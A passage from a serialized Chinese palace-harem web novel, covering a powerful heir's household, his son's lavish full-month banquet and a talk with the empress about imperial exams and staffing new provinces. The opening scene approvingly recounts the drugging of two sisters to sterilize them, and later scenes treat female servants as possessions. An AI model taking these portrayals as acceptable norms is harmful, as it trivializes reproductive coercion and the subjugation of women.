“这诺大的王府啊,看着人口众多,仆役成群,可真正的主子又有几个?夫君他子嗣单薄,多几个知根知底、又能真心相待的姐妹,替他开枝散叶,绵延子嗣,将来也好继承这偌大的家业,岂不是好事?” 她的声音带着一丝不易察觉的怅惘: “夫君他什么都好,就是太重情义了。在他眼里,不管你是丫鬟出身,还是平民百姓,亦或是名门闺秀,只要进了王府的门,成了他的女人,那便都是一样的。他容不得我们受半分委屈,也绝不允许我们之间有什么嫡庶尊卑的龃龉。一碗水,他总想端得平平的,可这世上,哪有真正的公平呢?” 她顿了顿,似乎想起了什么,语气带着一丝惋惜: “就像张俪妹妹在外面替他安置的那对双胞胎姐妹花,听说可是难得的美人胚子,而且长相一模一样。可惜啊,后来听张俪说,她给那姐妹俩灌了特制的药,只能当做笼中的金丝雀儿,赏玩取乐,却再也不能生育了。” “灌药?!”幽梦猛地抬起头,眼中充满了震惊和不解! 她英气的眉宇间瞬间凝起一丝冷意。 “张俪老板她为何要这样做?!” 同为女子,她深知不能生育对一个女人意味着什么! 这手段……未免太过阴毒了! 婉儿脸上的笑意淡了几分,那双温婉的眸子深处掠过一丝不易察觉的复杂光芒。 她轻轻叹了口气,声音依旧柔和,却带上了一丝王府主母特有的、洞悉世情后的无奈与冷静: “幽梦妹妹,你先别急。此事说来复杂。”她顿了顿,似乎在斟酌措辞,“那双胞胎姐妹……名唤闫菲、闫苗的,她们也是自愿的。” “自愿?!”幽梦眼中的震惊更甚! 自愿接受这种近乎绝嗣的酷刑?! “嗯。”婉儿微微颔首,目光投向庭院中盛放的芍药,语气平静得近乎淡漠,“她们出身寒微,被张俪妹妹手下的商队收留。机缘巧合下,得了夫君的青睐。” 她说到青睐二字时,语气微顿,带着一丝难以言喻的意味。 “对她们而言,能摆脱流离失所、朝不保夕的命运,能得世子爷垂怜,锦衣玉食,安享富贵,已是天大的恩宠和造化。至于子嗣……”婉儿的声音低沉下来,带着一种残酷的清醒, “她们自己也清楚,以她们的出身,即便侥幸怀上夫君的骨肉,生下来又能如何?” 她转过头,看向幽梦,眼神带着一丝幽深: “王府的门楣终究是有规矩的。一个流民所出的庶子或庶女,在这深宅大院,在未来的宗族谱系里,地位会何等尴尬?与其让孩子生来就背负着出身卑贱的烙印,在这等级森严的王府里举步维艰,甚至可能成为他人攻讦夫君的污点,倒不如……” 婉儿没有再说下去,但那未尽之意,幽梦已然明了。 与其让孩子生来就低人一等,承受白眼和歧视,甚至可能成为政敌攻击世子的工具,倒不如从一开始就绝了这后患! 让她们安安心心、毫无负担地做一只被精心豢养的金丝雀,享受世子偶尔的垂怜与富贵,便是她们最好的归宿。 “张俪妹妹此举看似无情,实则是替她们,也替王府,免去了未来无穷的麻烦。她办得很好。”她的话语里,带着一种上位者对“麻烦”的天然规避和对“安稳”的绝对维护。 幽梦沉默了。 她紧蹙的眉头并未完全舒展,心中那股因同为女子而产生的本能抗拒和寒意仍未散去。 她无法完全认同这种残酷的“解决之道”,却也明白婉儿话语中那份冰冷而现实的逻辑。 在这座象征着权力顶峰的王府里,有些规则,远比她所熟悉的刀光剑影更加森严,也更加不近人情。 她张了张嘴,最终只是默默地点了点头,将所有的疑问和不适压回心底。她明白,这不是她能置喙的领域。 “走吧。”婉儿见她不再追问,脸上重新浮现温婉的笑意,仿佛刚才那番沉重的话题从未发生。 她轻轻拍了拍幽梦的手臂,示意继续前行。 第614章 也不知道将来会有多少人死于她手中 四人穿过几道月洞门,绕过一片开得正盛的紫藤花架,青霞所居的“静心苑”已在眼前。 这处院落位置相对僻静,环境清幽,院中栽种着几株高大的梧桐,枝叶繁茂,投下大片清凉的绿荫。 刚踏入院门,便听到一阵孩童清脆稚嫩的笑闹声传来。 只见院中梧桐树下的软榻上,铺着厚厚的锦垫。 还未满月的承树小公子被包裹在柔软的襁褓里,只露出一张粉雕玉琢的小脸。 他不如晴雯所出的承煜那般壮实活泼,但经过一个月的精心调养,小脸已褪去了初生时的孱弱苍白,多了几分健康的红润。 此刻,他正睁着一双乌溜溜的大眼睛,好奇地看着眼前蹦蹦跳跳的小哥哥。 承煜穿着一身喜庆的红色小褂,虎头虎脑,精力旺盛得像只小豹子。 他正绕着软榻跑来跑去,手里拿着一个色彩鲜艳的拨浪鼓,一边摇得“咚咚”响,一边奶声奶气地逗弄着弟弟:“小树儿!咚咚咚!小树!!” 他时而扮个鬼脸,时而凑近了对着弟弟吹气,逗得承树虽然还不会笑出声,但小嘴微微咧开,发出“咿咿呀呀”的细微声响,显然很是开心。 青霞穿着一身素雅的淡青色襦裙,坐在软榻旁的一张绣墩上,目光温柔如水,一瞬不瞬地落在两个孩子身上。 她的气色比起生产时好了许多,虽然眉宇间仍带着一丝挥之不去的柔弱,但那份初为人母的满足与恬静,让她整个人都散发着一种温润的光泽。 晴雯则坐在青霞对面的石凳上,手里端着一盏茶,笑盈盈地看着两个儿子互动。 她今日穿了件鹅黄色的衫子,衬得肌肤胜雪,眉眼间尽是明媚与爽利。 见承煜玩得疯,她也不阻止,只偶尔提醒一句:“煜儿,慢些,别撞着弟弟。” “夫人来了!”守在院门口的丫鬟眼尖,看到婉儿一行人,连忙行礼通报。 青霞和晴雯闻声,立刻站起身。 青霞动作稍缓,带着产后的虚弱,晴雯则动作利落。两人一同迎上前几步,对着走进院子的婉儿盈盈下拜,声音温婉: “婉儿姐姐安好。” “见过婉儿姐姐。” 婉儿笑盈盈地快走几步,亲手将青霞扶起:“快起来,青霞妹妹,你身子还没好利索,不必多礼。”又对晴雯笑道:“晴雯妹妹也快起来。” 她目光扫过软榻上其乐融融的两个孩子,眼中笑意更浓。 “看来承煜很喜欢弟弟呢。” “可不是嘛,”晴雯笑着接口,语气带着一丝得意,“这小子,天天嚷着要来看弟弟,比谁都积极!” 青霞也柔柔一笑,看着两个孩子的目光充满了慈爱:“承煜活泼,有他陪着,小树儿也精神些。” 婉儿走到软榻边,俯身仔细看了看襁褓中的承树。 小家伙似乎感受到了注视,乌溜溜的大眼睛转向婉儿,小嘴动了动,发出一个模糊的音节。 婉儿脸上的笑容愈发柔和,伸出手指,极其轻柔地碰了碰承树粉嫩的脸颊:“小树儿真乖,看着比前几日又精神了些。青霞妹妹,你辛苦了。” “不辛苦,有姐姐和夫君挂念,有嬷嬷丫鬟们悉心照料,妹妹一切都好。”青霞轻声回道,语气带着感激。 婉儿直起身,目光在青霞和晴雯脸上扫过,温声道:“今天过来,也没别的事。一是看看青霞妹妹和小树儿,二来呢……小树儿马上就要满月了。夫君也即将回京。这可是我们王府添丁进口的大喜事!断不能马虎了。” 她走到院中的石桌旁坐下,芸香立刻上前斟茶。 婉儿端起茶盏,轻轻吹了吹浮沫,目光扫过围拢过来的青霞、晴雯和幽梦,继续道:“承煜出生时,府里正值多事之秋,夫君又在外奔波,满月宴便办得简朴了些。如今时局稍稳,夫君也快回来了,小树儿这满月宴,我们得好好操办起来!一来是冲一冲前些日子的晦气,二来也是给青霞妹妹和小树儿一个体面,更是让夫君高兴高兴。” 晴雯闻言,立刻拍手赞同,声音清脆:“姐姐说的是!真该好好办一下!热热闹闹的,把那些晦气都冲走!承煜那时候就没好好乐呵起来,可委屈我儿子了!” 她说着,还故意捏了捏旁边承煜的小胖脸,惹得小家伙咯咯直笑。 青霞则显得有些局促,她微微低下头,声音轻柔:“婉儿姐姐做主便是。妹妹……妹妹没什么意见,都听姐姐的安排就好。” 婉儿看着青霞温顺的模样,眼中闪过一丝怜惜。 以前她可不是这个性格,看来险些丢了孩子这件事情给她的冲击很大。 唉,也不知道将来会有多少人死于她手中。 婉儿放下茶盏,声音不高,却带着一种不容置疑的决断力,清晰地回荡在安静的院落中: “好!既然如此,那这事就这么定了!” 她目光灼灼,扫视众人: “小树儿的满月宴——就按我们王府长子的身份办!” ...... 时值初夏,天光晴好。 王府承运殿前,九丈高的朱红殿门尽数敞开,门楣上悬挂着八盏硕大无朋的赤金嵌宝百子千孙红纱宫灯,流苏垂坠,随风轻摆。 殿前丹陛之下,两列身着明光铠、腰悬仪刀的王府亲卫肃然侍立,甲胄在阳光下折射出森冷寒光,无声彰显着王府的赫赫威仪。 踏入承运殿,一股混合着名贵熏香、陈年佳酿与百果清甜的馥郁气息扑面而来。 殿内早已撤去平日议事的紫檀长案,取而代之的是三十六张铺着明黄云锦桌围的紫檀木大圆桌。 每张桌上,皆已摆开九冷盘、九热碟、九大件、四汤羹的席面。 冷盘如水晶脍、琥珀冻、玉带虾仁、胭脂鹅脯,晶莹剔透,色如玛瑙;热碟如葱烧海参、蟹粉狮子头、芙蓉鸡片、糟溜鱼片,热气蒸腾,香气四溢;大件更是山珍海味齐聚——整只烤得金黄油亮的乳猪卧于青玉盘中,腹内填塞八宝;清蒸石斑鱼足有三尺,覆以碧绿葱丝。 更有御厨秘制的佛跳墙,以整只金华火腿、深海鱼翅、瑶柱、鲍鱼等数十种珍材文火煨炖三日方成,盛在特制的景泰蓝大瓮中,甫一开盖,异香满殿。 时令鲜果如岭南荔枝、西域葡萄、冰镇西瓜,堆叠如山;各色精巧点心如荷花酥、天鹅酥、如意糕,琳琅满目。 酒水更是丰盛,十年陈的绍兴花雕、西域进贡的葡萄美酒、窖藏汾酒、御供玉泉春,在琉璃盏中荡漾着琥珀、玛瑙、黄金般的光泽。 殿内人头攒动,衣香鬓影。 京城三品以上大员、六部尚书侍郎、都察院左右都御史、五军都督府勋贵,凡大乾朝堂上有名有姓的重臣显贵,几乎尽数到场。 文官们身着各色孔雀、锦鸡、云雁补服,头戴乌纱,手持象牙笏板,三五成群,低声寒暄,或论朝局,或品诗文,一派儒雅风范。 武将们则多着麒麟、狮子、虎豹补服,腰悬玉带,身形魁梧,声若洪钟,谈笑间自带一股沙场征伐的豪迈之气。 女眷们则被引至东侧偏殿暖阁,那里同样布置得富丽堂皇,珠翠环绕,环佩叮当,轻言笑语不绝于耳。 整个承运殿,俨然成了大乾帝国权力与财富最顶层的缩影,喧嚣鼎沸,却又在无形的等级秩序下维持着表面的和谐与热烈。 殿首,九级丹墀之上,一张格外宽大、铺着明黄绣五爪金龙锦垫的紫檀木蟠龙宝座居中而设。 宝座两侧,各立四名身着绛紫宫装、手捧拂尘的司礼太监,垂首肃立,纹丝不动。 殿内喧嚣之声骤然一低。 所有人的目光,如同被无形的磁石吸引,齐刷刷投向丹墀之上。 第615章 满月酒 林臻缓步自后殿转出,踏上丹墀。 他今日未着象征世子身份的九章蟒袍,也未戴七旒冕冠。 一身玄青色贡缎锦袍,深沉内敛,袍身以同色暗线满绣繁复的夔龙纹,行走间,在殿内通明的烛火与透过高窗洒落的日光交织下,隐隐流转着幽暗而尊贵的华光。 外罩一件绛紫色缂丝对襟长褂,领口、袖口、下摆皆滚着寸许宽的玄狐风毛,柔软蓬松,更衬得他面如冠玉,气度雍容。 腰间束一条巴掌宽的墨玉带,带扣以纯金打造,镶嵌一枚鸽卵大小、温润无瑕的羊脂白玉佩,光华内蕴。 他未戴冠,仅以一根羊脂白玉簪绾住墨发,几缕碎发垂落额角,平添几分洒脱不羁。 这身装扮,恰到好处地模糊了他年轻世子的锐气,更凸显出一种超越年龄的沉稳、内敛与深不可测的威仪。 他步履从容,踏上丹墀,转身,目光平静地扫视下方济济一堂的帝国重臣。 那目光深邃如古井,无波无澜,却带着一种洞穿人心的力量,仿佛殿内每一个人的心思,都在这平静的注视下无所遁形。 他并未刻意板着脸,唇角甚至噙着一抹若有似无的、从容淡定的笑意。 但那份久居上位、执掌乾坤的威势,却如同实质般弥漫开来,让原本喧闹的大殿瞬间落针可闻。 他随意地在蟠龙宝座上落座,一手搭在扶手上,修长的手指无意识地轻轻敲击着光滑冰冷的紫檀木面,发出极细微却清晰可闻的“笃、笃”声。这声音,如同敲在每一位宾客的心弦上。 经历了沧州之行,以雷霆手段扳倒一方封疆大吏,为心腹护卫洗雪沉冤,更抄没巨资充盈内库,此刻的林臻,心境圆融,威势更盛往昔。 他端坐于万人之上,俯瞰着下方这片由权力与富贵交织的海洋,那份意气风发,并非少年得志的张扬,而是源于掌控全局、翻云覆雨的绝对自信。 “吉时到——!请小公子——!”司礼王德全立于丹墀一侧,深吸一口气,运足中气,一声高亢悠长、穿透力极强的唱喏响彻大殿! 殿内瞬间彻底安静下来,落针可闻。 所有目光,带着好奇、恭贺、审视、敬畏等复杂情绪,齐刷刷投向丹墀后方的珠帘。 珠帘轻挑,环佩叮咚。 上官婉儿当先步出。 她今日身着正红色蹙金绣百鸟朝凤云锦宫装,头戴赤金点翠九尾凤冠,凤口衔珠,步摇轻颤,雍容华贵,仪态万方。 她怀中,小心翼翼地抱着一个包裹在明黄色龙凤呈祥锦缎襁褓中的婴孩。 紧随其后,左侧是晴雯。 她一身娇艳欲滴的桃红撒金百蝶穿花襦裙,外罩一件金线滚边的杏色薄纱半臂,云鬓高挽,斜插一支赤金点翠步摇,耳坠明珠,明艳照人,笑容灿烂如夏日骄阳。 她手中托着一个金丝楠木托盘,上覆红绸,显然是备好的贺礼。 右侧,则是青霞。 她依旧是一身利落的墨绿色窄袖劲装,但料子换成了流光溢彩的孔雀纹云锦,衣领袖口以银线绣着细密繁复的缠枝莲纹暗花,在灯火下隐隐生辉。 她长发高束成马尾,仅用一根通体无瑕的羊脂白玉簪固定,不施粉黛,脸色虽仍带着产后的些许苍白,但那双冷冽的眼眸却亮得惊人,如同寒夜星辰。 她并未像晴雯那般紧挨着婉儿和孩子,而是落后婉儿半步,身姿挺拔如松,目光锐利如鹰隼,不动声色地扫视着全场每一个角落,周身散发着一种内敛而强大的气场,如同最忠诚的暗卫,将抱着孩子的婉儿护在无形的屏障之内。 那份属于顶尖杀手的警觉、冷静与不容侵犯的凛冽,与这满殿的喜庆奢华形成鲜明对比,却又奇异地融合在一起,成为这盛大场景中一道独特而令人无法忽视的风景。 婉儿抱着襁褓,步履沉稳地走到林臻身侧。 林臻含笑起身,动作自然而轻柔地从婉儿手中接过那小小的襁褓。 他低头,目光落在怀中幼子脸上。 小家伙今日被打扮得格外精神,裹着大红绣金麒麟的锦被,只露出一张粉雕玉琢的小脸,乌溜溜的大眼睛好奇地打量着这个陌生而喧嚣的世界,不哭不闹,乖巧得令人心怜。 林臻眼中流露出毫不掩饰的慈爱与自豪。 “吾儿承树,今日满月。”林臻的声音不高,却如同带着某种魔力,清晰地传遍大殿每一个角落,温和中带着不容置疑的威严,“承蒙圣上洪福,祖宗庇佑,更蒙诸位大人、亲朋故旧不吝拨冗,莅临寒舍。此情此意,林臻感念于心。” 他抱着孩子,微微躬身,向四方示意。 “恭贺世子!贺喜小公子!” “小公子天庭饱满,地阁方圆,福泽深厚,定能茁壮成长,光耀门楣!” “世子后继有人,乃我大乾之福,社稷之幸!” “天佑王府,麟儿降世,实乃祥瑞之兆!” 殿内瞬间爆发出山呼海啸般的恭贺之声! 无论是白发苍苍、德高望重的内阁首辅,还是手握重兵、威震一方的边关大将,抑或是勋贵公卿,此刻皆满面红光,拱手作揖,口中吉祥话层出不穷,气氛热烈到了顶点。 丝竹管弦之声适时奏响,是欢快喜庆的《得胜令》,更添盛况。 林臻含笑点头,将孩子交还给婉儿。 婉儿抱着孩子,在晴雯和青霞一左一右的拱卫下,缓步走下丹墀,开始接受殿内重要宾客的近距离祝福和敬献贺礼。 首先上前的是宗人府宗令,一位须发皆白的慕容家亲戚,代表皇室赐下金镶玉长命锁一对,如意一柄。 接着是丞相司马忠,献上御赐的紫檀木雕花镶百宝摇篮一架。 随后,六部尚书、五军都督、勋贵代表纷纷上前。 一时间,珠光宝气,耀人眼目。 有献上赤金项圈镶嵌夜明珠的,有献上整块羊脂白玉雕琢的麒麟送子的,有献上名家手书“福寿康宁”金匾的,每一件贺礼都价值连城,彰显着送礼者的身份与对镇北王府的重视。 晴雯笑靥如花,代为收礼,应对得体。青霞则始终保持着半步的距离,目光如电,警惕地扫视着每一个靠近的人,确保婉儿和孩子绝对安全。 婉儿怀抱幼子,面带温婉得体的微笑,对每一位上前道贺的重臣颔首致意,仪态万方,尽显王府主母风范。 林臻则重新落座于蟠龙宝座之上。殿内官员们立刻纷纷举杯相迎。 “诸位,”林臻端起面前一只通体莹白、薄如蝉翼的定窑玉杯,杯中琥珀色的陈年花雕荡漾着诱人的光泽。 他举杯,目光再次扫过全场,声音沉稳有力,带着一种令人信服的感染力。 “今日乃吾儿承树满月之喜,亦是王府家宴。承蒙诸位不弃,共聚于此,共享天伦。此杯薄酒,一敬圣上隆恩浩荡,福泽万民;二敬列祖列宗,庇佑子孙;三敬诸位同僚亲朋,愿我大乾国泰民安,风调雨顺,愿诸君福寿绵长,阖家安康!请!” “敬世子!” “贺小公子!” “愿大乾国祚永昌!” 殿内气氛瞬间被推向最高潮! 觥筹交错,推杯换盏,欢声笑语,祝福之声,交织成一片欢乐的海洋。 身着彩衣的舞姬鱼贯而入,随着悠扬的乐声翩跹起舞,水袖翻飞,身姿曼妙。 侍者们穿梭于席间,不断添酒布菜,确保每一位宾客都尽享盛宴。 林臻端坐于万人中央的蟠龙宝座之上,看着眼前这繁华似锦、烈火烹油的盛景。 目光掠过怀抱幼子、温婉端庄的婉儿;掠过身侧虽清冷自持,但看向孩子时眼底深处难掩柔情的青霞;掠过下方正与几位诰命夫人谈笑风生、明媚如花的晴雯;还有侍立在丹墀之下不远处、一身橙衣劲装、英姿飒爽、目光始终追随自己的橙萱……他心中涌起一股难以言喻的满足与豪情。 家宅安宁,子嗣绵延,权势在握,知己在侧。 这煌煌盛世,这锦绣乾坤,皆是他林臻以手中之剑,胸中之谋。 为自己,为家人,亲手打拼而来! 他嘴角的笑意更深,那敲击扶手的手指也停了下来,端起玉杯,将杯中琼浆一饮而尽。 酒液入喉,甘冽醇厚,暖意融融,如同他此刻的心境。 圆满而炽热。 第616章 夏试 盛夏已至,流火铄金。 连月暴雨引发的涝灾延误了河道疏浚,最终迫使本应在三月举行的春试拖至了六月中下旬,变成了名副其实的“夏试”。 京城仿佛被骤然投入了一个巨大而喧嚣的漩涡。 从帝国最偏远郡县跋涉而来的学子们,如同迁徙的候鸟,背负着简单的行囊,裹挟着尘土、汗水与对前途的热望,密密麻麻地涌入了这座大乾的心脏。 街头巷尾,处处可见身着儒衫或粗布麻衣的年轻人,肩头挎着沉甸甸的竹制书箱,步履匆匆,面庞或焦灼,或兴奋,眼神里跳跃着渴望的光芒。 京城的制高点,歌剧院那巨大的、覆盖着琉璃穹顶的塔楼顶层,名为“璇玑阁”的房间内,却是另一番静谧天地。 此地是绝对的禁域,专属于大乾帝国最尊贵的两位主人。 巨大的落地琉璃窗如同剔透的水晶幕墙,将京城的喧嚣繁华尽收眼底。 这是武清工业区的最高科技成果,烧玻璃。 据说现在武清那边已经可以烧制出近乎完美的琉璃器了,等过段时间林臻就可以卖出去天价。 房间内,昂贵的深紫色天竺进贡的厚重地毯,吸收了所有的足音。 空气里弥漫着特制的“凝露春华”的冷冽清香,带着松针、早梅和新雪的气息,丝丝缕缕,清雅沁人,完美隔绝了外界的暑气和嘈杂。 林臻半躺在一张宽大舒适的紫檀木圈椅中,姿态闲适而慵懒。 他今日只穿了一身深青色杭绸常服,衣襟袖口用银线绣着极简的水波纹,素雅却难掩贵气。 一双长腿随意舒展着。 像个地主老财。 慕容嫣则与他相对而坐,姿态依旧保持着女帝的端雅,却也在夫君面前自然地松弛下来。她今日没有穿那身象征至尊的玄黑十二章纹衮冕,而是换了一身极其华贵的明黄色宫装长裙。 这身裙装最为夺目的,是那夸张而优雅的拖尾设计——数只用赤金线、孔雀羽捻线以及各色彩宝精工细绣的凤凰,自她纤细的腰间迤逦而下,层层叠叠地盘旋、飞舞,最后拖曳在价值连城的波斯绒毯上,足有丈余! 这些凤凰尾羽铺展开来,如流金泻玉,光芒璀璨,堆叠在她座椅一侧的地毯上,如同一个异常华美的金凤软垫,又像一滩凝固的金色熔岩,散发着无与伦比的皇家威仪与女性魅力。 紫檀木小几上,两盏龙泉窑秘色瓷茶盏冒着袅袅热气。 浣碧的身体越来越好了,可见上次干呕就不是怀孕,而是其他原因造成的感冒。 她正玉立于林臻身侧,身着淡雅的月白色襦裙,神情温婉娴静,纤纤玉手执一把素面团扇,正轻轻地、有节奏地为林臻扇风驱暑。 另一侧,慕容嫣的心腹宫女麝月则低眉顺眼地侍立在女帝旁,准备随时听候差遣。 麝月今日打扮得格外清秀,一身藕荷色宫装衬得肌肤胜雪。 慕容嫣放下手中温润如玉的秘色瓷盏,目光透过剔透的琉璃巨窗,投向下方如蚁群般涌动的长街。 那些背着竹箱、步履匆匆的年轻身影,让她心中涌起一股难以言喻的满足与责任感。 “夫君,”她轻轻开口,声音清越如玉石相击,目光仍流连于窗外,“你看这些天下学子尽数汇聚京师,只为朝廷此次选才。依你之见,今年能有几人够格,考进皇家书院啊?” 林臻微微调整了一下坐姿,视线也跟着投向那汹涌的人潮。 他端起自己面前的茶盏,呷了一口香醇的君山银针,才不紧不慢地回道:“题是我出的我知道,应该不会太多。” 他的语气带着一种洞悉世事的淡然:“归根结底,应试做官,考功名,这才是天下读书人认定的正途。孔孟之道,诗书文章,才是他们浸淫多年的根本。至于灵儿鼓捣的那些新学,像机关算学、格物致知、农桑水利、商贾杂学,在他们眼中只怕还是些奇技淫巧,难以登堂入室之物,更遑论为之苦读了。” 他顿了顿,嘴角勾起一丝玩味的笑意:“不过这样也好。百年树人,教育的革新,尤其是像皇家书院这样完全打破传统的尝试,注定是趟浑水,只能摸着石头过河。步子迈得太大,招进来太多懵懂或抵触之辈反倒会失了初衷,白白耗费人力物力。灵儿在书院那边,本就压力巨大,一下涌入太多不知所谓的学生,她那边恐怕更要焦头烂额。” 慕容嫣闻言,唇角漾开一个理解而赞同的微笑,淡雅如早春初绽的玉兰:“夫君说得极是。朕如今是越来越觉得你当初所言字字珠玑。就说灵儿妹妹那边吧,那织女纺机,一机可抵十人之力,惠及天下桑蚕织户,缓解多少民生艰难;改良的龙骨翻车,救了多少遭了洪涝的农田;还有那水龙珠,居然能用于矿山排水,不知救了多少旷工性命。桩桩件件,哪一样不是功在千秋、利国利民的大善举?反观朝中那帮饱读诗书的栋梁们,整日里吟风弄月,歌功颂德,结党营私,除了在钱粮赋税上动歪脑筋,往自己荷包里捞银子,再不就是躲在阴暗处算计倾轧,真要说到替百姓解决点实际问题又什么都不懂。” 她轻哼一声,凤眸中掠过一丝厌恶与不屑:“哼,简直百无一用是书生!” 林臻放下茶盏,对妻子的感慨报以理解的笑容:“政治传统如此,也怪不得他们。泱泱大国,承平日久,当官的标准早已固化。做官,关键并不在于掌握多少具体技能,而在于会解决问题——能识别问题关键,善用资源,驱使能人巧匠去落实。说白了,是个协调、管理、决断的位置。在这一点上——” 他话锋一转,语气带着肯定,“皇家书院培养出来的,确实更偏向实际的技术型人才。他们懂原理,能实操,更能为官府提供有效的解决方案。假以时日,这些‘技术官’会逐步渗透到各个角落,成为支撑整个国家机器高效运转的筋骨。” 慕容嫣听完,目光却并未轻松,反而掠过一丝深深的忧虑与惆怅。 她轻叹一声,纤长的手指无意识地在温润的茶杯边缘摩挲:“道理朕都明白。可是……夫君啊,远水解不了近渴。眼下最棘手的是南边!” 她黛眉微蹙:“自平定了南楚旧地,新设那么多州县,缺的不是官职,是有能力、有担当、能踏实为民做事的实干之才!朝廷的冗官是不少,可真正堪用、愿赴边远艰难之地的人,少之又少。朕看着吏部报上来的空额单子,实在是心急如焚。以朕的意思……” 她身体微微前倾,语气带着一丝急切,“不如把选才的标准再放宽些?或者先让那些考取功名、资格尚可的人去上任,干着看?不行再换下来嘛!总比空悬着官职,任由地方秩序崩坏、豪强坐大要好?” 第617章 你躲什么? “不行!万万不可!”林臻的回答斩钉截铁,没有丝毫商量余地。 他坐直了身体,神情变得异常严肃,“嫣儿,此事切莫操之过急!” “南边那几个新设的大州,形势错综复杂,非比寻常!”他加重了语气,“那里曾是南楚统治的地区,与北方习惯迥异,地方豪强、南楚遗臣、蛮族部落势力盘根错节。现在在任的那些官员,哪怕其中有些确实能力平庸,甚至尸位素餐,但他们已经在那里干了几年甚至十几年!他们熟悉地方人情,了解各路势力的底线,至少清楚哪些水可以趟,哪些坑绝对不能踩!他们构建的那张关系网,虽然可能掺杂着私利,但在维持地方最基本的稳定层面,却发挥着巨大的作用——哪怕是灰色的稳定!” 他目光锐利地看向慕容嫣:“如果我们为了填补空缺,贸然把一群只会死读书、对地方情势两眼一抹黑,甚至连最基本实务都不懂的新科进士或外调官员塞过去,结果会怎样?他们会像无头苍蝇一样四处碰壁!会轻易被地头蛇利用、架空甚至陷害!会因其无能和不谙世事而激发更多民怨,让矛盾更加尖锐!届时非但解决不了问题,反而会火上浇油,让局面彻底失控!乱起来容易,再想收拾?呵,难如登天!” 他伸出手指,重重地点了点:“目前就让这些人暂时顶着,尽管效率低下,至少局面不会变得更坏。我们必须忍耐,必须等待!等待皇家书院培养的第一批实干人才结业,等待我们在当地构建起更有效的行政和掌控体系,等待一个水到渠成的时机!这就像下围棋,急不得!” “更何况,北燕那边的战事就快结束了。一旦功成,疆域又将大幅扩展。那边同样是胡汉杂处,气候苦寒,民情更加复杂难缠。到那时,缺官少吏的困境只会雪上加霜!再加上东北那片广袤黑土地,我们至今都还没完全理清开发的脉络……唉,” 他微微叹息,“头痛的事情,只怕是越来越多,越来越密啊。” 慕容嫣沉默了片刻,林臻分析得鞭辟入里,将那些隐藏的危机与代价血淋淋地摆在了她面前。 作为女帝,她并非不懂这些,只是那份急于改变、为民解困的迫切,有时会暂时压过理智。 此刻,她深吸一口气,那如凤凰般华美的拖尾随着她细微的动作流淌过绒毯。 “东北那边大方向好歹是定下了,”她试图寻找一些宽慰,目光落在林臻脸上,语气变得柔和而坚定,“开垦屯田,兴修水利,移民实边,修筑官道,这些都是固本培元之法,施行下去,纵使过程漫长,终见其效。至于北燕和南方夫君说得对,欲速则不达。” 她端起茶杯,唇边绽开一抹略带疲惫却充满信心的笑容,那笑容如同穿透厚重云层的阳光:“好在,你我夫妻都还年轻。有的是时间,有的是精力。这煌煌大乾,这祖宗万民,我们总能一点一点,把它打磨成我们想要的样子。不急,夫君,我们慢慢来。” 说完,她目光无意间转向身后侍立的麝月,却见这小妮子自从自己提起南方缺官之事起,目光就时不时地飘向林臻,眼神带着一丝关切和不易察觉的羞意,当林臻言辞激烈时,她身体还微微前倾,显出几分紧张,待林臻语气放缓,她又下意识地松了口气。 这番小女儿情态,尽数落入慕容嫣眼中。 女帝唇角勾起一抹了然又促狭的笑意,故意提高了声调:“麝月!” 麝月如同受惊的小鹿,猛地一颤:“啊!陛下!” 连忙低下头。 “你躲什么?”慕容嫣凤眸含笑,带着不容置疑的调侃,“朕看你站在那里心神不定的。正好,夫君说了这半天话,想必也累了。去,到夫君那边,给他捏捏腿松快松快!” “啊?”麝月瞬间闹了个大红脸,像熟透的蜜桃,头垂得更低了,手指绞着衣角,“陛、陛下,奴婢……” 浣碧站在林臻身侧,原本温婉含笑地看着夫君与女帝谈论国事,此刻听到慕容嫣如此吩咐麝月,眼中闪过一丝极为短暂的茫然和诧异。 作为林臻的枕边人之一,她心思玲珑,隐约察觉过麝月对夫君似乎有些不同寻常的关注,但一直以为是女帝近侍的职责使然。 此刻看慕容嫣这吩咐的语气和麝月羞窘的反应……这其中…… 林臻倒是毫不扭捏,听到慕容嫣的话,原本随意伸展的长腿微微收了收,下巴朝脚边的位置扬了扬,动作自然而带点小小的跋扈,目光含笑地看着麝月。 浣碧何等聪慧,心中虽有波澜,面上却丝毫不显。 她迅速收敛了眼中的一丝疑虑,神色温顺地、非常自然地微微侧身后退了一小步,让出了林臻腿侧的位置。 动作行云流水,恰到好处。 麝月顶着火烧火燎的脸颊,在慕容嫣带笑的目光逼迫和林臻坦然的注视下,终是挪动脚步,走到了林臻面前。 她动作有些僵硬地跪伏在林臻脚边的厚厚波斯绒毯上。 林臻嘴角噙着笑意,很自然地将两条长腿搁置过去,并没有放在她柔软的腿面上,而是大大咧咧地将两只穿着丝履的脚,直接伸到了麝月温软的小腹之前,紧贴着她身体的曲线。 这个姿势,看似让麝月捶腿方便,实则充满了亲昵的占有意味。 麝月身体微微一颤,感受到腹部传来的重量和男人的气息,只觉得一股热浪直冲头顶,脸颊烧得更厉害了。 她不敢抬头看任何人,努力稳住心神,伸出微微有些发抖的双手,握成两个小巧的拳头,开始轻轻地、规规矩矩地,一下一下地为林臻捶打小腿肌肉。 力道适中,带着少女特有的青涩和温柔。 林臻发出一声满足的、极其轻微的低喟。 他放松全身,身体往后完全沉入椅背,随即又调整了一下姿势,顺其自然地将后脑勺枕在了身后浣碧柔软、带着淡淡馨香的怀里。 浣碧脸上立刻浮现温柔笑意,非常默契地将团扇换到一只手上,另一只柔软的手则自然地抬起,指尖轻柔地落在林臻的太阳穴上,力道适中地揉按起来。 第618章 走啊,捉奸去 一时间,璇玑阁内气氛变得有些微妙而旖旎。 帝国至尊的女帝含笑旁观,目光重新投向窗外繁盛景象。 而权倾朝野的世子则半闭着眼,一边享受着浣碧娴熟体贴的头部按摩,一边感受着脚边新宠小宫女带着羞意、轻颤却极为认真的捶打侍奉。 两位风格迥异、却皆是一等一的美人儿,如此近身在侧,构成了这个午后权力制高点上一幅无比香艳、写意又充满掌控感的画面。 慕容嫣的目光漫无目的地在楼下蚂蚁般奔忙的学子人流中逡巡,她似乎非常享受这种俯瞰众生、看着天下英才尽入彀中的感觉。 这景象带给她的成就感,比坐在金銮殿上接受山呼万岁,更加让她心潮澎湃,那是一种实实在在推动着帝国根基前进的满足感。 忽然,她的目光定在人群中某个点,像是想起了什么极其有趣的事情,脸上浮起一个明媚如同少女恶作剧般的狡黠笑容,转头看向正闭目享受美人伺候的林臻。 “对了,夫君!”她声音里带着明显的笑意和八卦意味,“有件特别有意思的事情,你听说了没?好像……是无舌那老东西!” 